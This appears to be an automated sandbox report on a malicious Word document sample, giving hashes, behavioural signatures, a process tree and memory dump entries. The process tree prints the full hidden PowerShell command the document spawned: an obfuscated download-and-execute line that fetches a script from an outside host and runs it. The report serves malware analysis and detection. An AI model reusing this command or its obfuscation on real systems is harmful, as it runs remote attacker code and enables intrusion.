Analysis
- max time kernel
151s - max time network
153s - platform
windows10_x64 - resource
win10v20210410 - submitted
25/04/2021, 09:57
General
- Target 4252c0b130be39bf2258c84c436c17babfd650b6d665ac6c4e050f87fe34e46e.bin.doc
- Size 230KB
- Sample210425-ctbs283df2
- SHA256 4252c0b130be39bf2258c84c436c17babfd650b6d665ac6c4e050f87fe34e46e
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 21 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\4252c0b130be39bf2258c84c436c17babfd650b6d665ac6c4e050f87fe34e46e.bin.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -command &{[string]$a={(New-Object Net.WebClient).Do('http://pootball.medianewsonline.com/ro/ki.txt')};$b=$a.insert(29,'wnloadString');$c=iex $b;iex $c}2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/2908-183-0x00000251E4D68000-0x00000251E4D69000-memory.dmp
memory/2908-182-0x00000251E4D66000-0x00000251E4D68000-memory.dmp
memory/2908-181-0x00000251E4D63000-0x00000251E4D65000-memory.dmp
memory/2908-180-0x00000251E4D60000-0x00000251E4D62000-memory.dmp
memory/3692-117-0x00007FFC964C0000-0x00007FFC964D0000-memory.dmp
memory/3692-122-0x00007FFCB2AC0000-0x00007FFCB3BAE000-memory.dmp
memory/3692-123-0x00007FFCAF9A0000-0x00007FFCB1895000-memory.dmp
memory/3692-119-0x00007FFCB7400000-0x00007FFCB9F23000-memory.dmp
memory/3692-118-0x00007FFC964C0000-0x00007FFC964D0000-memory.dmp
memory/3692-114-0x00007FFC964C0000-0x00007FFC964D0000-memory.dmp
memory/3692-116-0x00007FFC964C0000-0x00007FFC964D0000-memory.dmp
memory/3692-115-0x00007FFC964C0000-0x00007FFC964D0000-memory.dmp